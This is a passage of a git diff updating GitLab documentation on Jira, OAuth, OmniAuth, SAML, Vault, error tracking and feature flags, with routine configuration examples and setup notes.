- certificate [are resolved on the GitLab server](https://docs.gitlab.com/omnibus/settings/ssl.html#other-certificate-authorities),
- as GitLab is the TLS client.
-- The Jira Development Panel integration requires Jira to connect to GitLab, which
- causes Jira to be the TLS client. If your GitLab server's certificate is not
- issued by a public certificate authority, the Java Truststore on Jira's server
- needs to have the appropriate certificate added to it (such as your organization's
- root certificate).
-
-Refer to Atlassian's documentation and Atlassian Support for assistance setting up Jira correctly:
-
-- [Adding a certificate to the trust store](https://confluence.atlassian.com/kb/how-to-import-a-public-ssl-certificate-into-a-jvm-867025849.html).
- - Simplest approach is to use [`keytool`](https://docs.oracle.com/javase/8/docs/technotes/tools/unix/keytool.html).
- - Add additional roots to Java's default Truststore (`cacerts`) to allow Jira to
- also trust public certificate authorities.
- - If the integration stops working after upgrading Jira's Java runtime, this
- might be because the `cacerts` Truststore got replaced.
-
-- [Troubleshooting connectivity up to and including TLS handshaking](https://confluence.atlassian.com/kb/unable-to-connect-to-ssl-services-due-to-pkix-path-building-failed-error-779355358.html),
- using the a java class called `SSLPoke`.
-
-- Download the class from Atlassian's knowledge base to Jira's server, for example to `/tmp`.
-- Use the same Java runtime as Jira.
-- Pass all networking-related parameters that Jira is called with, such as proxy
- settings or an alternative root Truststore (`-Djavax.net.ssl.trustStore`):
-
-```shell
-${JAVA_HOME}/bin/java -Djavax.net.ssl.trustStore=/var/atlassian/application-data/jira/cacerts -classpath /tmp SSLPoke gitlab.example.com 443
-```
-
-The message `Successfully connected` indicates a successful TLS handshake.
-
-If there are problems, the Java TLS library generates errors that you can
-look up for more detail.
-
-##### Scope error when connecting Jira via DVCS
-
-```plaintext
-The requested scope is invalid, unknown, or malformed.
-```
-
-Potential resolutions:
-
-- Verify the URL shown in the browser after being redirected from Jira in step 5 of [Jira DVCS Connector Setup](#jira-dvcs-connector-setup) includes `scope=api` in the query string.
-- If `scope=api` is missing from the URL, return to [GitLab account configuration](#gitlab-account-configuration-for-dvcs) and ensure the application you created in step 1 has the `api` box checked under scopes.
-
-##### Jira error adding account and no repositories listed
-
-```plaintext
-Error!
-Failed adding the account: [Error retrieving list of repositories]
-```
-
-This error message is generated in Jira after completing the **Add New Account**
-form in Jira and authorizing access. Attempting to click **Try Again** returns
-`Account is already integrated with JIRA.` The account is set up in the DVCS
-accounts view, but no repositories are listed.
-
-Potential resolutions:
-
-- If you're using GitLab versions 11.10-12.7, upgrade to GitLab 12.8.10 or later
- to resolve an identified [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/37012).
-- If you're using GitLab Free or GitLab Starter, be sure you're using
- GitLab 13.4 or later.
-
-[Contact GitLab Support](https://about.gitlab.com/support/) if none of these reasons apply.
-
-#### Fixing synchronization issues
-
-If Jira displays incorrect information (such as deleted branches), you may need to
-resynchronize the information. To do so:
-
-1. In Jira, go to **Jira Administration > Applications > DVCS accounts**.
-1. At the account (group or subgroup) level, Jira displays an option to
- **Refresh repositories** in the `...` (ellipsis) menu.
-1. For each project, there's a sync button displayed next to the **last activity** date.
- To perform a *soft resync*, click the button, or complete a *full sync* by shift clicking
- the button. For more information, see
- [Atlassian's documentation](https://support.atlassian.com/jira-cloud-administration/docs/synchronize-jira-cloud-to-bitbucket/).
-
-### GitLab for Jira app **(FREE SAAS)**
-
-You can integrate GitLab.com and Jira Cloud using the
-[GitLab for Jira](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud)
-app in the Atlassian Marketplace. The user configuring GitLab for Jira must have
-[Maintainer](../user/permissions.md) permissions in the GitLab namespace.
-
-This method is recommended when using GitLab.com and Jira Cloud because data is synchronized in real-time. The DVCS connector updates data only once per hour. If you are not using both of these environments, use the [Jira DVCS Connector](#jira-dvcs-configuration) method.
-
-<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
-For a walkthrough of the integration with GitLab for Jira, watch [Configure GitLab Jira Integration using Marketplace App](https://youtu.be/SwR-g1s1zTo) on YouTube.
-
-1. Go to **Jira Settings > Apps > Find new apps**, then search for GitLab.
-1. Click **GitLab for Jira**, then click **Get it now**, or go to the
- [App in the marketplace directly](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud).
-
- ![Install GitLab App on Jira](img/jira_dev_panel_setup_com_1.png)
-1. After installing, click **Get started** to go to the configurations page.
- This page is always available under **Jira Settings > Apps > Manage apps**.
-
- ![Start GitLab App configuration on Jira](img/jira_dev_panel_setup_com_2.png)
-1. If not already signed in to GitLab.com, you must sign in as a user with
- [Maintainer](../user/permissions.md) permissions to add namespaces.
-
- ![Sign in to GitLab.com in GitLab Jira App](img/jira_dev_panel_setup_com_3_v13_9.png)
-1. Select **Add namespace** to open the list of available namespaces.
-
-1. Identify the namespace you want to link, and select **Link**.
-
- ![Link namespace in GitLab Jira App](img/jira_dev_panel_setup_com_4_v13_9.png)
-
-NOTE:
-The GitLab user only needs access when adding a new namespace. For syncing with
-Jira, we do not depend on the user's token.
-
-After a namespace is added:
-
-- All future commits, branches, and merge requests of all projects under that namespace
- are synced to Jira.
-- From GitLab 13.8, past merge request data is synced to Jira.
-
-Support for syncing past branch and commit data [is planned](https://gitlab.com/gitlab-org/gitlab/-/issues/263240).
-
-For more information, see [Usage](#usage).
-
-#### Troubleshooting GitLab for Jira
-
-The GitLab for Jira App uses an iframe to add namespaces on the settings page. Some browsers block cross-site cookies. This can lead to a message saying that the user needs to log in on GitLab.com even though the user is already logged in.
-
-> "You need to sign in or sign up before continuing."
-
-In this case, use [Firefox](https://www.mozilla.org/en-US/firefox/) or enable cross-site cookies in your browser.
-
-## Usage
-
-After the integration is set up on GitLab and Jira, you can:
-
-- Refer to any Jira issue by its ID in GitLab branch names, commit messages, and merge request
- titles.
-- See the linked branches, commits, and merge requests in Jira issues (merge requests are
- called "pull requests" in Jira issues).
-
-Jira issue IDs must be formatted in uppercase for the integration to work.
-
-![Branch, Commit and Pull Requests links on Jira issue](img/jira_dev_panel_jira_setup_3.png)
-
-Click the links to see your GitLab repository data.
-
-![GitLab commits details on a Jira issue](img/jira_dev_panel_jira_setup_4.png)
-
-![GitLab merge requests details on a Jira issue](img/jira_dev_panel_jira_setup_5.png)
-
-For more information on using Jira Smart Commits to track time against an issue, specify an issue transition, or add a custom comment, see the Atlassian page [Using Smart Commits](https://confluence.atlassian.com/fisheye/using-smart-commits-960155400.html).
-
-## Limitations
-
-This integration is not supported on GitLab instances under a
-[relative URL](https://docs.gitlab.com/omnibus/settings/configuration.html#configuring-a-relative-url-for-gitlab).
-For example, `http://example.com/gitlab`.
+<!-- This redirect file can be deleted after <2021-06-24>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/integration/oauth_provider.md b/doc/integration/oauth_provider.md
index 377c8ec82d0..490397cdf1b 100644
--- a/doc/integration/oauth_provider.md
+++ b/doc/integration/oauth_provider.md
@@ -33,17 +33,18 @@ OAuth 2 can be used:
The 'GitLab Importer' feature also uses OAuth 2 to give access
to repositories without sharing user credentials to your GitLab.com account.
-GitLab supports two ways of adding a new OAuth 2 application to an instance:
+GitLab supports several ways of adding a new OAuth 2 application to an instance:
-- As a regular user, for applications owned by an individual.
-- Through the Admin Area menu for instance-wide apps.
+- [User owned applications](#user-owned-applications)
+- [Group owned applications](#group-owned-applications)
+- [Instance-wide applications](#instance-wide-applications)
-The only difference between these two methods is the [permission](../user/permissions.md)
+The only difference between these methods is the [permission](../user/permissions.md)
levels. The default callback URL is `http://your-gitlab.example.com/users/auth/gitlab/callback`.
-## Add an application through the profile
+## User owned applications
-To add a new application via your profile:
+To add a new application for your user:
1. In the top-right corner, select your avatar.
1. Select **Edit profile**.
@@ -55,7 +56,22 @@ To add a new application via your profile:
- Application ID: OAuth 2 Client ID.
- Secret: OAuth 2 Client Secret.
-## OAuth applications in the Admin Area
+## Group owned applications
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16227) in GitLab 13.11.
+
+To add a new application for a group:
+
+1. Navigate to the desired group.
+1. In the left sidebar, select **Settings > Applications**.
+1. Enter a **Name**, **Redirect URI** and OAuth 2 scopes as defined in [Authorized Applications](#authorized-applications).
+ The **Redirect URI** is the URL where users are sent after they authorize with GitLab.
+1. Select **Save application**. GitLab displays:
+
+ - Application ID: OAuth 2 Client ID.
+ - Secret: OAuth 2 Client Secret.
+
+## Instance-wide applications
To create an application for your GitLab instance, select
**Admin Area > Applications > New application**.
diff --git a/doc/integration/omniauth.md b/doc/integration/omniauth.md
index e3b18c0b82b..45d44582607 100644
--- a/doc/integration/omniauth.md
+++ b/doc/integration/omniauth.md
@@ -22,40 +22,50 @@ of the configured mechanisms.
## Supported Providers
-This is a list of the current supported OmniAuth providers. Before proceeding
-on each provider's documentation, make sure to first read this document as it
-contains some settings that are common for all providers.
-
-- [GitHub](github.md)
-- [Bitbucket](bitbucket.md)
-- [GitLab.com](gitlab.md)
-- [Google](google.md)
-- [Facebook](facebook.md)
-- [Twitter](twitter.md)
-- [Shibboleth](shibboleth.md)
-- [SAML](saml.md)
-- [Crowd](../administration/auth/crowd.md)
-- [Azure](azure.md)
-- [Auth0](auth0.md)
-- [Authentiq](../administration/auth/authentiq.md)
-- [OAuth2Generic](oauth2_generic.md)
-- [JWT](../administration/auth/jwt.md)
-- [OpenID Connect](../administration/auth/oidc.md)
-- [Salesforce](salesforce.md)
-- [AWS Cognito](../administration/auth/cognito.md)
+This is a list of the current supported OmniAuth providers. Before proceeding on each provider's documentation,
+make sure to first read this document as it contains some settings that are common for all providers.
+
+|Provider documentation |OmniAuth provider name |
+|-----------------------------------------------------------------|--------------------------|
+|[Atlassian Crowd](../administration/auth/crowd.md) |`crowd` |
+|[Atlassian](../administration/auth/atlassian.md) |`atlassian_oauth2` |
+|[Auth0](auth0.md) |`auth0` |
+|[Authentiq](../administration/auth/authentiq.md) |`authentiq` |
+|[AWS Cognito](../administration/auth/cognito.md) |`cognito` |
+|[Azure v2](azure.md#microsoft-azure-oauth2-omniauth-provider-v2) |`azure_activedirectory_v2`|
+|[Azure v1](azure.md) |`azure_oauth2` |
+|[Bitbucket Cloud](bitbucket.md) |`bitbucket` |
+|[CAS](cas.md) |`cas3` |
+|[Facebook](facebook.md) |`facebook` |
+|[Generic OAuth2](oauth2_generic.md) |`oauth2_generic` |
+|[GitHub](github.md) |`github` |
+|[GitLab.com](gitlab.md) |`gitlab` |
+|[Google](google.md) |`google_oauth2` |
+|[JWT](../administration/auth/jwt.md) |`jwt` |
+|[Kerberos](kerberos.md) |`kerberos` |
+|[OpenID Connect](../administration/auth/oidc.md) |`openid_connect` |
+|[Salesforce](salesforce.md) |`salesforce` |
+|[SAML](saml.md) |`saml` |
+|[Shibboleth](shibboleth.md) |`shibboleth` |
+|[Twitter](twitter.md) |`twitter` |
## Initial OmniAuth Configuration
-Before configuring individual OmniAuth providers there are a few global settings
-that are in common for all providers that we need to consider.
+The OmniAuth provider names from the table above are needed to configure a few global settings that are in common for all providers.
NOTE:
Starting from GitLab 11.4, OmniAuth is enabled by default. If you're using an
earlier version, you must explicitly enable it.
-- `allow_single_sign_on` allows you to specify the providers you want to allow to
- automatically create an account. It defaults to `false`. If `false` users must
- be created manually or they can't sign in by using OmniAuth.
+- `allow_single_sign_on` allows you to specify the providers that automatically
+ create a GitLab account. For example, if you wish to enable Azure (v2) and Google,
+ in Omnibus, specify a list of provider names:
+
+ ```ruby
+ gitlab_rails['omniauth_allow_single_sign_on'] = ['azure_activedirectory_v2', 'google_oauth2']
+ ```
+
+ The value defaults to `false`. If `false` users must be created manually, or they can't sign in by using OmniAuth.
- `auto_link_ldap_user` can be used if you have [LDAP / ActiveDirectory](../administration/auth/ldap/index.md)
integration enabled. It defaults to `false`. When enabled, users automatically
created through an OmniAuth provider have their LDAP identity created in GitLab as well.
@@ -239,9 +249,6 @@ from the OmniAuth provider's documentation.
If you have successfully set up a provider that is not shipped with GitLab itself,
please let us know.
-You can help others by reporting successful configurations and probably share a
-few insights or provide warnings for common errors or pitfalls.
-
While we can't officially support every possible authentication mechanism out there,
we'd like to at least help those with specific needs.
@@ -257,9 +264,9 @@ To enable/disable an OmniAuth provider:
1. In the top navigation bar, go to **Admin Area**.
1. In the left sidebar, go to **Settings**.
1. Scroll to the **Sign-in Restrictions** section, and click **Expand**.
-1. Next to **Enabled OAuth Sign-In sources**, select the check box for each provider you want to enable or disable.
+1. Below **Enabled OAuth Sign-In sources**, select the check box for each provider you want to enable or disable.
- ![Enabled OAuth Sign-In sources](img/enabled-oauth-sign-in-sources.png)
+ ![Enabled OAuth Sign-In sources](img/enabled-oauth-sign-in-sources_v13_10.png)
## Disabling OmniAuth
@@ -328,20 +335,20 @@ You can add the `auto_sign_in_with_provider` setting to your GitLab
configuration to redirect login requests to your OmniAuth provider for
authentication. This removes the need to click a button before actually signing in.
-For example, when using the Azure integration, set the following to enable auto
+For example, when using the [Azure v2 integration](azure.md#microsoft-azure-oauth2-omniauth-provider-v2), set the following to enable auto
sign-in:
For Omnibus package:
```ruby
-gitlab_rails['omniauth_auto_sign_in_with_provider'] = 'azure_oauth2'
+gitlab_rails['omniauth_auto_sign_in_with_provider'] = 'azure_activedirectory_v2'
```
For installations from source:
```yaml
omniauth:
- auto_sign_in_with_provider: azure_oauth2
+ auto_sign_in_with_provider: azure_activedirectory_v2
```
Keep in mind that every sign-in attempt is redirected to the OmniAuth
@@ -356,3 +363,32 @@ You may also bypass the auto sign in feature by browsing to
The [Generated passwords for users created through integrated authentication](../security/passwords_for_integrated_authentication_methods.md)
guide provides an overview about how GitLab generates and sets passwords for
users created with OmniAuth.
+
+## Custom OmniAuth provider icon
+
+Most supported providers include a built-in icon for the rendered sign-in button.
+After you ensure your image is optimized for rendering at 64 x 64 pixels,
+you can override this icon in one of two ways:
+
+- **Provide a custom image path**:
+ 1. *If you are hosting the image outside of your GitLab server domain,* ensure
+ your [content security policies](https://docs.gitlab.com/omnibus/settings/configuration.html#content-security-policy)
+ are configured to allow access to the image file.
+ 1. Depending on your method of installing GitLab, add a custom `icon` parameter
+ to your GitLab configuration file. Read [OpenID Connect OmniAuth provider](../administration/auth/oidc.md)
+ for an example for the OpenID Connect provider.
+- **Directly embed an image in a configuration file**: This example creates a Base64-encoded
+ version of your image you can serve through a
+ [Data URL](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs):
+ 1. Encode your image file with GNU `base64` command (such as `base64 -w 0 <logo.png>`)
+ which returns a single-line `<base64-data>` string.
+ 1. Add the Base64-encoded data to a custom `icon` parameter in your GitLab configuration file:
+
+ ```yaml
+ omniauth:
+ providers:
+ - { name: '...'
+ icon: 'data:image/png;base64,<base64-data>'
+ ...
+ }
+ ```
diff --git a/doc/integration/saml.md b/doc/integration/saml.md
index d68cf8e2f34..842eb71f7f4 100644
--- a/doc/integration/saml.md
+++ b/doc/integration/saml.md
@@ -11,14 +11,14 @@ This page describes instance-wide SAML for self-managed GitLab instances. For SA
You should also reference the [OmniAuth documentation](omniauth.md) for general settings that apply to all OmniAuth providers.
-## Common SAML Terms
+## Glossary of common terms
| Term | Description |
|--------------------------------|-------------|
-| Identity Provider (IdP) | The service which manages your user identities, such as ADFS, Okta, OneLogin, or Ping Identity. |
-| Service Provider (SP) | SAML considers GitLab to be a service provider. |
+| Identity provider (IdP) | The service which manages your user identities, such as Okta or OneLogin. |
+| Service provider (SP) | GitLab can be configured as a SAML 2.0 SP. |
| Assertion | A piece of information about a user's identity, such as their name or role. Also known as claims or attributes. |
-| SSO | Single Sign-On. |
+| Single Sign-On (SSO) | Name of authentication scheme. |
| Assertion consumer service URL | The callback on GitLab where users will be redirected after successfully authenticating with the identity provider. |
| Issuer | How GitLab identifies itself to the identity provider. Also known as a "Relying party trust identifier". |
| Certificate fingerprint | Used to confirm that communications over SAML are secure by checking that the server is signing communications with the correct certificate. Also known as a certificate thumbprint. |
@@ -26,8 +26,8 @@ You should also reference the [OmniAuth documentation](omniauth.md) for general
## General Setup
GitLab can be configured to act as a SAML 2.0 Service Provider (SP). This allows
-GitLab to consume assertions from a SAML 2.0 Identity Provider (IdP) such as
-Microsoft ADFS to authenticate users.
+GitLab to consume assertions from a SAML 2.0 Identity Provider (IdP), such as
+Okta to authenticate users.
First configure SAML 2.0 support in GitLab, then register the GitLab application
in your SAML IdP:
@@ -52,7 +52,7 @@ in your SAML IdP:
```
1. To allow your users to use SAML to sign up without having to manually create
- an account first, don't forget to add the following values to your configuration:
+ an account first, add the following values to your configuration:
For Omnibus package:
@@ -85,7 +85,8 @@ in your SAML IdP:
auto_link_saml_user: true
```
-1. Ensure that the SAML [`NameID`](../user/group/saml_sso/index.md#nameid) and email address are fixed for each user, as described in the section on [Security](#security). Otherwise, your users will be able to sign in as other authorized users.
+1. Ensure that the SAML [`NameID`](../user/group/saml_sso/index.md#nameid) and email address are fixed for each user,
+as described in the section on [Security](#security). Otherwise, your users will be able to sign in as other authorized users.
1. Add the provider configuration:
@@ -102,7 +103,7 @@ in your SAML IdP:
issuer: 'https://gitlab.example.com',
name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent'
},
- label: 'Company Login' # optional label for SAML login button, defaults to "Saml"
+ label: 'Provider name' # optional label for SAML login button, defaults to "Saml"
}
]
```
@@ -134,6 +135,7 @@ in your SAML IdP:
be a SHA1 fingerprint; check
[the OmniAuth SAML documentation](https://github.com/omniauth/omniauth-saml)
for more details on these options.
+ See the [notes on configuring your identity provider](#notes-on-configuring-your-identity-provider) for more information.
1. Change the value of `issuer` to a unique name, which will identify the application
to the IdP.
@@ -151,16 +153,57 @@ configuration information to the IdP. To build the metadata URL for GitLab, appe
https://gitlab.example.com/users/auth/saml/metadata
```
-At a minimum the IdP *must* provide a claim containing the user's email address, using
-claim name `email` or `mail`. The email will be used to automatically generate the GitLab
-username. GitLab will also use claims with name `name`, `first_name`, `last_name`
-(see [the OmniAuth SAML gem](https://github.com/omniauth/omniauth-saml/blob/master/lib/omniauth/strategies/saml.rb)
-for supported claims).
+At a minimum the IdP *must* provide a claim containing the user's email address using `email` or `mail`.
+See [the assertions list](#assertions) for other available claims.
On the sign in page there should now be a SAML button below the regular sign in form.
Click the icon to begin the authentication process. If everything goes well the user
will be returned to GitLab and will be signed in.
+### Notes on configuring your identity provider
+
+When configuring a SAML app on the IdP, you need at least:
+
+- Assertion consumer service URL
+- Issuer
+- [`NameID`](../user/group/saml_sso/index.md#nameid)
+- [Email address claim](#assertions)
+
+Your identity provider may require additional configuration, such as the following:
+
+| Field | Value | Notes |
+|-------|-------|-------|
+| SAML profile | Web browser SSO profile | GitLab uses SAML to sign users in through their browser. No requests are made directly to the identity provider. |
+| SAML request binding | HTTP Redirect | GitLab (the service provider) redirects users to your identity provider with a base64 encoded `SAMLRequest` HTTP parameter. |
+| SAML response binding | HTTP POST | Specifies how the SAML token is sent by your identity provider. Includes the `SAMLResponse`, which a user's browser submits back to GitLab. |
+| Sign SAML response | Required | Prevents tampering. |
+| X.509 certificate in response | Required | Signs the response and checks against the provided fingerprint. |
+| Fingerprint algorithm | SHA-1 | GitLab uses a SHA-1 hash of the certificate to sign the SAML Response. |
+| Signature algorithm | SHA-1/SHA-256/SHA-384/SHA-512 | Determines how a response is signed. Also known as the digest method, this can be specified in the SAML response. |
+| Encrypt SAML assertion | Optional | Uses TLS between your identity provider, the user's browser, and GitLab. |
+| Sign SAML assertion | Optional | Validates the integrity of a SAML assertion. When active, signs the whole response. |
+| Check SAML request signature | Optional | Checks the signature on the SAML response. |
+| Default RelayState | Optional | Specifies the URL users should end up on after successfully signing in through SAML at your identity provider. |
+| NameID format | Persistent | See [NameID format details](../user/group/saml_sso/index.md#nameid-format). |
+| Additional URLs | Optional | May include the issuer (or identifier) or the assertion consumer service URL in other fields on some providers. |
+
+For example configurations, see the [notes on specific providers](#providers).
+
+### Assertions
+
+| Field | Supported keys |
+|-----------------|----------------|
+| Email (required)| `email`, `mail` |
+| Username | `username`, `nickname` |
+| Full Name | `name` |
+| First Name | `first_name`, `firstname`, `firstName` |
+| Last Name | `last_name`, `lastname`, `lastName` |
+
+If a username is not specified, the email address is used to generate the GitLab username.
+
+Please refer to [the OmniAuth SAML gem](https://github.com/omniauth/omniauth-saml/blob/master/lib/omniauth/strategies/saml.rb)
+for a full list of supported assertions.
+
## SAML Groups
You can require users to be members of a certain group, or assign users [external](../user/permissions.md#external-users), admin or [auditor](../user/permissions.md#auditor-users) roles based on group membership.
@@ -649,6 +692,81 @@ Group SAML on a self-managed instance is limited when compared to the recommende
- { name: 'group_saml' }
```
+## Providers
+
+GitLab support of SAML means that you can sign in to GitLab with a wide range of identity providers.
+Your identity provider may have additional documentation. Some identity providers include
+documentation on how to use SAML to sign in to GitLab.
+
+Examples:
+
+- [ADFS (Active Directory Federation Services)](https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/operations/create-a-relying-party-trust)
+- [Auth0](https://auth0.com/docs/protocols/saml-protocol/configure-auth0-as-saml-identity-provider)
+- [PingOne by Ping Identity](https://docs.pingidentity.com/bundle/pingone/page/xsh1564020480660-1.html)
+
+Please note that GitLab provides the following setup notes for guidance only.
+If you have any questions on configuring the SAML app, please contact your provider's support.
+
+### Okta setup notes
+
+The following guidance is based on this Okta article, on adding a [SAML Application with an Okta Developer account](https://support.okta.com/help/s/article/Why-can-t-I-add-a-SAML-Application-with-an-Okta-Developer-account?language=en_US):
+
+1. In the Okta admin section, make sure to select Classic UI view in the top left corner. From there, choose to **Add an App**.
+1. When the app screen comes up you see another button to **Create an App** and
+ choose SAML 2.0 on the next screen.
+1. Optionally, you can add a logo
+ (you can choose it from <https://about.gitlab.com/press/>). You'll have to
+ crop and resize it.
+1. Next, you'll need the to fill in the SAML general configuration with
+ the assertion consumer service URL as "Single sign-on URL" and
+ the issuer as "Audience URI" along with the [NameID](../user/group/saml_sso/index.md#nameid) and [assertions](#assertions).
+1. The last part of the configuration is the feedback section where you can
+ just say you're a customer and creating an app for internal use.
+1. When you have your app you'll have a few tabs on the top of the app's
+ profile. Click on the SAML 2.0 configuration instructions button.
+1. On the screen that comes up take note of the
+ **Identity Provider Single Sign-On URL** which you'll use for the
+ `idp_sso_target_url` on your GitLab configuration file.
+1. **Before you leave Okta, make sure you add your user and groups if any.**
+
+### Google workspace setup notes
+
+The following guidance is based on this Google Workspace article, on how to [Set up your own custom SAML application](https://support.google.com/a/answer/6087519?hl=en):
+
+Make sure you have access to a Google Workspace [Super Admin](https://support.google.com/a/answer/2405986#super_admin) account.
+ Follow the instructions in the linked Google Workspace article, where you'll need the following information:
+
+| | Typical value | Description |
+|------------------|--------------------------------------------------|----------------------------------------------------------|
+| Name of SAML App | GitLab | Other names OK. |
+| ACS URL | `https://<GITLAB_DOMAIN>/users/auth/saml/callback` | ACS is short for Assertion Consumer Service. |
+| GITLAB_DOMAIN | `gitlab.example.com` | Set to the domain of your GitLab instance. |
+| Entity ID | `https://gitlab.example.com` | A value unique to your SAML app, you'll set it to the `issuer` in your GitLab configuration. |
+| Name ID format | EMAIL | Required value. Also known as `name_identifier_format` |
+| Name ID | Primary email address | Make sure someone receives content sent to that address |
+| First name | `first_name` | Required value to communicate with GitLab. |
+| Last name | `last_name` | Required value to communicate with GitLab. |
+
+You also need to setup the following SAML attribute mappings:
+
+| Google Directory attributes | App attributes |
+|-----------------------------------|----------------|
+| Basic information > Email | `email` |
+| Basic Information > First name | `first_name` |
+| Basic Information > Last name | `last_name` |
+
+You may also use some of this information when you [configure GitLab](#general-setup).
+
+When configuring the Google Workspace SAML app, be sure to record the following information:
+
+| | Value | Description |
+|-------------|--------------|-----------------------------------------------------------------------------------|
+| SSO URL | Depends | Google Identity Provider details. Set to the GitLab `idp_sso_target_url` setting. |
+| Certificate | Downloadable | Run `openssl x509 -in <your_certificate.crt> -noout -fingerprint` to generate the SHA1 fingerprint that can be used in the `idp_cert_fingerprint` setting. |
+
+While the Google Workspace Admin provides IdP metadata, Entity ID and SHA-256 fingerprint,
+GitLab does not need that information to connect to the Google Workspace SAML app.
+
## Troubleshooting
### SAML Response
@@ -670,6 +788,21 @@ for the SAML user.
Ensure the IdP provides a claim containing the user's email address, using the
claim name `email` or `mail`.
+### 422 error after login
+
+If you see a "422 error" in GitLab when you are redirected from the SAML
+sign-in page, you might have an incorrectly configured assertion consumer
+service (ACS) URL on the identity provider.
+
+Make sure the ACS URL points to `https://gitlab.example.com/users/auth/saml/callback`, where
+`gitlab.example.com` is the URL of your GitLab instance.
+
+If the ACS URL is correct, and you still have errors, review the other
+[Troubleshooting](#troubleshooting) sections.
+
+If you are sure that the ACS URL is correct, proceed to the [Redirect back to the login screen with no evident error](#redirect-back-to-the-login-screen-with-no-evident-error)
+section for further troubleshooting steps.
+
### Redirect back to the login screen with no evident error
If after signing in into your SAML server you are redirected back to the sign in page and
@@ -735,3 +868,11 @@ The following are the most likely reasons that a user is blocked when signing in
- In the configuration, `gitlab_rails['omniauth_block_auto_created_users'] = true` is set and this is the user's first time signing in.
- There are [`required_groups`](#required-groups) configured, but the user is not a member of one.
+
+### Google workspace troubleshooting tips
+
+The Google Workspace documentation on [SAML app error messages](https://support.google.com/a/answer/6301076?hl=en) is helpful for debugging if you are seeing an error from Google while signing in.
+Pay particular attention to the following 403 errors:
+
+- `app_not_configured`
+- `app_not_configured_for_user`
diff --git a/doc/integration/vault.md b/doc/integration/vault.md
index 362ae36389b..c98990bcb0e 100644
--- a/doc/integration/vault.md
+++ b/doc/integration/vault.md
@@ -76,15 +76,25 @@ The following assumes you already have Vault installed and running.
This configuration is saved under the name of the role you are creating. In this case, we are creating a `demo` role. Later, we show how you can access this role through the Vault CLI.
+ WARNING:
+ If you're using a public GitLab instance (GitLab.com or any other instance publicly
+ accessible), it's paramount to specify the `bound_claims` to allow access only to
+ members of your group/project. Otherwise, anyone with a public account can access
+ your Vault instance.
+
```shell
- vault write auth/oidc/role/demo \
- user_claim="sub" \
- allowed_redirect_uris="http://localhost:8250/oidc/callback,http://127.0.0.1:8200/ui/vault/auth/oidc/oidc/callback" \
- bound_audiences="your_application_id" \
- role_type="oidc" \
- oidc_scopes="openid" \
- policies=demo \
- ttl=1h
+ vault write auth/oidc/role/demo -<<EOF
+ {
+ "user_claim": "sub",
+ "allowed_redirect_uris": "your_vault_instance_redirect_uris",
+ "bound_audiences": "your_application_id",
+ "oidc_scopes": "openid",
+ "role_type": "oidc",
+ "policies": "demo",
+ "ttl": "1h",
+ "bound_claims": { "groups": ["yourGroup/yourSubgrup"] }
+ }
+ EOF
```
1. **Sign in to Vault:**
diff --git a/doc/operations/error_tracking.md b/doc/operations/error_tracking.md
index 8bf0e56c989..18e5eaeef43 100644
--- a/doc/operations/error_tracking.md
+++ b/doc/operations/error_tracking.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
@@ -27,9 +27,9 @@ least Maintainer [permissions](../user/permissions.md) to enable the Sentry inte
1. [Create](https://docs.sentry.io/product/sentry-basics/guides/integrate-frontend/create-new-project/) a new Sentry project. For each GitLab project that you want to integrate, we recommend that you create a new Sentry project.
1. [Find or generate](https://docs.sentry.io/api/auth/) a Sentry auth token for your Sentry project.
Make sure to give the token at least the following scopes: `event:read` and `project:read`.
-1. In GitLab, navigate to your project’s **Operations > Error Tracking** page, and
+1. In GitLab, navigate to your project's **Operations > Error Tracking** page, and
click **Enable Error Tracking**.
-1. Navigate to your project’s **Settings > Operations**. In the **Error Tracking** section,
+1. Navigate to your project's **Settings > Operations**. In the **Error Tracking** section,
ensure the **Active** checkbox is set.
1. In the **Sentry API URL** field, enter your Sentry hostname. For example, enter `https://sentry.example.com` if this is the address at which your Sentry instance is available. For the SaaS version of Sentry, the hostname is `https://sentry.io`.
1. In the **Auth Token** field, enter the token you previously generated.
@@ -77,7 +77,7 @@ You can take action on Sentry Errors from within the GitLab UI.
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/39665) in GitLab 12.7.
-From within the [Error Details](#error-details) page you can ignore a Sentry error by simply clicking the **Ignore** button near the top of the page.
+From within the [Error Details](#error-details) page you can ignore a Sentry error by clicking the **Ignore** button near the top of the page.
Ignoring an error prevents it from appearing in the [Error Tracking List](#error-tracking-list), and silences notifications that were set up within Sentry.
diff --git a/doc/operations/feature_flags.md b/doc/operations/feature_flags.md
index 216e6adcdaf..dc0d5d77d27 100644
--- a/doc/operations/feature_flags.md
+++ b/doc/operations/feature_flags.md
@@ -62,11 +62,11 @@ next to any feature flag in the list.
The maximum number of feature flags per project on self-managed GitLab instances
is 200. For GitLab SaaS, the maximum number is determined by [tier](https://about.gitlab.com/pricing/):
-| Tier | Number of feature flags per project |
-|----------|-------------------------------------|
-| Free | 50 |
-| Premium | 150 |
-| Ultimate | 200 |
+| Tier | Feature flags per project (SaaS) | Feature flags per project (self-managed) |
+|----------|----------------------------------|------------------------------------------|
+| Free | 50 | 200 |
+| Premium | 150 | 200 |
+| Ultimate | 200 | 200 |
## Feature flag strategies
@@ -104,7 +104,7 @@ Unleash activation strategy.
Enables the feature for a percentage of page views, with configurable consistency
of behavior. This consistency is also known as stickiness. It uses the
-[`flexibleRollout`](https://unleash.github.io/docs/activation_strategy#flexiblerollout)
+[`flexibleRollout`](https://docs.getunleash.io/docs/activation_strategy#flexiblerollout)
Unleash activation strategy.
You can configure the consistency to be based on:
@@ -133,7 +133,7 @@ Selecting **Random** provides inconsistent application behavior for individual u
### Percent of Users
Enables the feature for a percentage of authenticated users. It uses the Unleash activation strategy
-[`gradualRolloutUserId`](https://unleash.github.io/docs/activation_strategy#gradualrolloutuserid).
